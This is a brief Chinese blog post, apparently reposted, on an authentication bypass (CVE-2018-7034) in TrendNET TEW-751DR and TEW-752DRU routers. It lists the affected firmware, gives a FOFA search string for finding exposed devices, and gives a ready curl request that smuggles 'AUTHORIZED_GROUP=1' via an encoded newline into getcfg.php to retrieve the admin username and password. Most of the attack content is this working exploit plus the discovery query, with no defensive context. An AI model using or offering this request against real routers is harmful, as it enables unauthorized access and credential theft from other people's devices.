TrendNET路由器权限绕过漏洞，攻击者通过设置$AUTHORIZED_GROUP >= 1绕过权限验证
影响版本：
- TEW-751DR – v1.03B03
- TEW-752DRU – v1.03B01
漏洞测试
fofa搜索："TEW-751DR "
curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" http://ip/getcfg.php
获取到登录的用户名和密码
TrendNET路由器权限绕过漏洞（CVE-2018-7034）
猜你喜欢
转载自blog.csdn.net/qq_44159028/article/details/114592652
今日推荐
周排行